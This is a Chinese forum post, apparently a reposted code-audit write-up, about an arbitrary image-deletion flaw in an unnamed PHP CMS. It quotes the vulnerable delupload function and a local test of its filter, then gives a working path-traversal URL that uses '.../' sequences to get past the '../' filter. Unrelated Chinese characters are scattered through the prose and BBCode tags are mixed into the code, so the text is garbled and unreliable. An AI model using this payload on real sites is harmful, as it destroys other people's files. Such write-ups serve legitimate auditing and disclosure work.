來源;http://bbs.ichunqiu.com/thread-8979-1-1.html?from=ch
0x01 前言:
定期來論壇打個(gè)卡丢习,免得那天被壞蛋哥干掉了都不知道牵触,最近玩起代碼審計(jì)了,挖到的都丟給補(bǔ)天了咐低,重復(fù)率挺高的揽思,打算每天堅(jiān)持審一套系統(tǒng),提交1個(gè)重復(fù)见擦,我就挖10個(gè)钉汗,十個(gè)重復(fù)羹令,我就挖100個(gè),我就不信會全部重復(fù)损痰。福侈。。卢未。肪凛。。辽社。伟墙。。滴铅。戳葵。。汉匙。拱烁。
0x02 開頭:
在刪除某套系統(tǒng)的時(shí)候,發(fā)現(xiàn)可控參數(shù)進(jìn)入了unlink函數(shù)噩翠,給我的第一感覺就是任意文件刪除
[p=40, null, left][color=rgb(0, 0, 0)][font=微軟雅黑, tahoma, arial]public function delupload(){
$action=isset($_GET['action']) ? $_GET['action'] : null;
$filename=isset($_GET['filename']) ? $_GET['filename'] : null;
$filename=str_replace('../','',$filename);
$filename=trim($filename,'.');
$filename=trim($filename,'/');
if($action=='del' && !empty($filename)){
$filename=G_UPLOAD.$filename;
$size=getimagesize($filename);
$filetype=explode('/',$size['mime']);
if($filetype[0]!='image'){
return false;
exit;
}
unlink($filename);
exit;
}[/font][/color][/p][p=40, null, left][color=rgb(0, 0, 0)][font=微軟雅黑, tahoma, arial]
復(fù)制代碼
0x03 分析:
調(diào)用了unlink函數(shù)來刪除文件
unlink($filename);
而$filename
$filename=isset($_GET['filename']) ? $_GET['filename'] : null;
則是從GET進(jìn)入的邻梆,可控
不過他這里進(jìn)行了過濾,防止刪除其他目錄的文件
把../過濾掉了绎秒,防止跳轉(zhuǎn)目錄
清空了兩邊的 . 和 /
$filename=str_replace('../','',$filename);
$filename=trim($filename,'.');
$filename=trim($filename,'/');
0x04 突破:
$filename=$_GET['filename'];
$filename=str_replace('../','',$filename);
$filename=trim($filename,'.');
$filename=trim($filename,'/');
echo $filename;
?>
于是就本地實(shí)驗(yàn)起來了
直接輸入../的話會被清除
開頭和結(jié)尾清除了/和.
但是這個(gè)影響不大浦妄,在開頭隨便加個(gè)下一級目錄就可以了,結(jié)尾肯定是你要刪除的文件名见芹,所以也可以無視
主要就是突破清空../
想了一下剂娄,竟然清空了../ 那我.../ 不就可以留下一個(gè)"."
實(shí)際測試成功
這樣就可以實(shí)現(xiàn)目錄跳轉(zhuǎn)刪除文件了
于是構(gòu)造了這么一個(gè)url,刪除網(wǎng)站根目錄的一張照片
http://127.0.0.1/xxxcms/?api/xxxx/xxxxx/&action=del&filename=shaidan/.../...//.../...//.../...//xxxx.jpg
測試成功
0x05 結(jié)尾:
可惜的是只能刪除網(wǎng)站任意圖片
$size=getimagesize($filename);
$filetype=explode('/',$size['mime']);
if($filetype[0]!='image'){
return false;
exit;
}
被這個(gè)getimagesize函數(shù)限制住了,我測試了一下發(fā)現(xiàn)他是根據(jù)文件實(shí)際內(nèi)容來判斷是什么文件的玄呛,小菜鳥技術(shù)未入門阅懦,沒想出怎么突破,本來還在想刪除lock徘铝,直接重裝系統(tǒng)的耳胎。。惕它。
文章可能沒什么技術(shù)含量在里面怕午,畢竟小菜鳥我技術(shù)未入門,各位大牛見諒淹魄,如果文章中有錯(cuò)誤郁惜,還望大家指出